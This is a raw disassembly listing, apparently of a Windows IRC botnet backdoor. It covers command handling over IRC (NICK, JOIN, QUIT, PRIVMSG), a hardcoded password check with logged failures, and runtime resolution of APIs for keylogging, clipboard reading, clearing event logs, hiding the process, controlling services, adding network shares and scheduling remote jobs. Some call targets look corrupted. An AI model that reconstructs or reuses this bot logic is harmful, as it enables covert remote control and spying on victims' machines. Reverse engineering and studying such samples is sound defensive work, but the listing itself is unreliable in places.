loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429DE0 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429DB8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42BB1C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2680000h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E56C[eax] call dword_4CB6BC push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E574[eax] nop call near ptr 269062Fh push esi call sub_41B779 imul eax, 234h push esi mov dword_43E574[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E360[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_429D8C jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429D64 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429D40 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429D14 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_42A480 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429CF8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_42A3E4 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429CD4 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429CB0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429C8C jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C68 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax call near ptr 2680000h nop loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C40 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C1C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42D0EC ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CB4DC push ebx inc esi call sub_41C0F4 push offset asc_429C18 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429B98 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_42915C loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429B44 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429B24 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429B04 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CB4D4, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB674 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB674 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2680000h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB6D0, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB644, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB628, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB538, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB4E4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB514, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB58C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB684, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB6E0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB544, eax call esi cmp dword_4CB6D0, ebx mov dword_4CB52C, eax jz short loc_409C10 cmp dword_4CB644, ebx jz short loc_409C10 cmp dword_4CB628, ebx jz short loc_409C10 cmp dword_4CB538, ebx jz short loc_409C10 cmp dword_4CB514, ebx jz short loc_409C10 cmp dword_4CB58C, ebx jz short loc_409C10 cmp dword_4CB684, ebx jz short loc_409C10 cmp dword_4CB6E0, ebx jz short loc_409C10 cmp dword_4CB544, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB6E4, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CB65C, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 268082Fh mov dword_4CB6E8, eax mov dword_4CB6E4, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB680, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB630, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB5C4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB6D4, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB5F4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB614, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CB678, eax call esi cmp dword_4CB680, ebx mov dword_4CB564, eax jz short loc_409D00 cmp dword_4CB630, ebx jz short loc_409D00 cmp dword_4CB5C4, ebx jz short loc_409D00 cmp dword_4CB6D4, ebx jz short loc_409D00 cmp dword_4CB5F4, ebx jz short loc_409D00 cmp dword_4CB614, ebx jz short loc_409D00 cmp dword_4CB678, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB6EC, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB5F0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB4F8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB5C0, eax call esi cmp dword_4CB5F0, ebx mov dword_4CB5A8, eax jz short loc_409D67 cmp dword_4CB4F8, ebx jz short loc_409D67 cmp dword_4CB5C0, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j call near ptr 268082Fh nop mov dword_4CB6F0, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB6EC, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB694, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB5D8, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB648, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB524, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB588, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB600, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB5A4, eax call esi cmp dword_4CB694, ebx mov dword_4CB5B4, eax jz short loc_409E1A cmp dword_4CB5D8, ebx jz short loc_409E1A cmp dword_4CB648, ebx jz short loc_409E1A cmp dword_4CB524, ebx jz short loc_409E1A cmp dword_4CB588, ebx jz short loc_409E1A cmp dword_4CB600, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB6F4, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB608, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB5E0, eax call esi cmp dword_4CB608, ebx mov dword_4CB690, eax jz short loc_409E5F cmp dword_4CB5E0, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB6F4, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB618, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB500, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB508, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB56C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB570, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB51C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB5E4, eax call esi cmp dword_4CB618, ebx mov dword_4CB50C, eax jz short loc_409F0D cmp dword_4CB500, ebx jz short loc_409F0D cmp dword_4CB508, ebx jz short loc_409F0D cmp dword_4CB56C, ebx jz short loc_409F0D cmp dword_4CB570, ebx jz short loc_409F0D cmp dword_4CB51C, ebx jz short loc_409F0D cmp dword_4CB5E4, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB6F4, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB504, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 268082Fh mov dword_4CB6F8, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB6F4, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB610, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CB668, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CB670, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB62C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB548, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB4F4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CB66C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB4E0, eax call esi cmp dword_4CB610, ebx mov dword_4CB580, eax jz short loc_40A016 cmp dword_4CB668, ebx jz short loc_40A016 cmp dword_4CB670, ebx jz short loc_40A016 cmp dword_4CB62C, ebx jz short loc_40A016 cmp dword_4CB548, ebx jz short loc_40A016 cmp dword_4CB4F4, ebx jz short loc_40A016 cmp dword_4CB66C, ebx jz short loc_40A016 cmp dword_4CB4E0, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call near ptr 268082Fh nop mov dword_4CB700, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB6FC, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB594, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB6C8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB534, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB510, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB5D0, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB5B8, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB57C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB6A4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB6C0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB5CC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB6B0, eax call esi push offset aHtons ; "htons" push edi mov dword_4CB664, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB624, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB620, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB554, eax call esi push offset aSend ; "send" push edi mov dword_4CB54C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CB674, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB688, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB63C, eax call esi mov dword_4CB5FC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CB650, eax call esi push offset aListen ; "listen" push edi mov dword_4CB60C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB64C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB6B8, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB604, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB5C8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB638, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB6A8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB5DC, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB578, eax call esi cmp dword_4CB594, ebx mov dword_4CB6BC, eax jz loc_40A2E7 cmp dword_4CB6C8, ebx jz loc_40A2E7 cmp dword_4CB534, ebx jz loc_40A2E7 cmp dword_4CB5D0, ebx jz loc_40A2E7 cmp dword_4CB5B8, ebx jz loc_40A2E7 cmp dword_4CB57C, ebx jz loc_40A2E7 cmp dword_4CB6A4, ebx jz loc_40A2E7 cmp dword_4CB6C0, ebx jz loc_40A2E7 cmp dword_4CB5CC, ebx jz loc_40A2E7 cmp dword_4CB6B0, ebx jz loc_40A2E7 cmp dword_4CB664, ebx jz loc_40A2E7 cmp dword_4CB624, ebx jz loc_40A2E7 cmp dword_4CB620, ebx jz loc_40A2E7 cmp dword_4CB554, ebx jz short loc_40A2E7 cmp dword_4CB674, ebx jz short loc_40A2E7 cmp dword_4CB688, ebx jz short loc_40A2E7 cmp dword_4CB63C, ebx jz short loc_40A2E7 cmp dword_4CB5FC, ebx jz short loc_40A2E7 cmp dword_4CB650, ebx jz short loc_40A2E7 cmp dword_4CB60C, ebx jz short loc_40A2E7 cmp dword_4CB64C, ebx jz short loc_40A2E7 cmp dword_4CB6B8, ebx jz short loc_40A2E7 cmp dword_4CB604, ebx jz short loc_40A2E7 cmp dword_4CB5C8, ebx jz short loc_40A2E7 cmp dword_4CB638, ebx jz short loc_40A2E7 cmp dword_4CB6A8, ebx jz short loc_40A2E7 cmp dword_4CB5DC, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 268082Fh mov dword_4CB708, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB704, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB560, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB4E8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB5EC, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB598, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB5F8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB5BC, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB528, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB520, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB530, eax call esi cmp dword_4CB560, ebx mov ecx, dword_4CB5BC mov dword_4CB658, eax jz short loc_40A3D2 cmp dword_4CB4E8, ebx jz short loc_40A3D2 cmp dword_4CB5EC, ebx jz short loc_40A3D2 cmp dword_4CB598, ebx jz short loc_40A3D2 cmp dword_4CB5F8, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CB528, ebx jz short loc_40A3D2 cmp dword_4CB520, ebx jz short loc_40A3D2 cmp dword_4CB530, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB70C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB5D4, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 268082Fh nop mov dword_4CB710, eax mov dword_4CB70C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CB5D4, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB5AC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB6DC, eax call esi cmp dword_4CB5AC, ebx mov dword_4CB53C, eax jz short loc_40A466 cmp dword_4CB6DC, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 268082Fh mov dword_4CB718, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB714, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB518, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB4F0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB568, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB59C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov 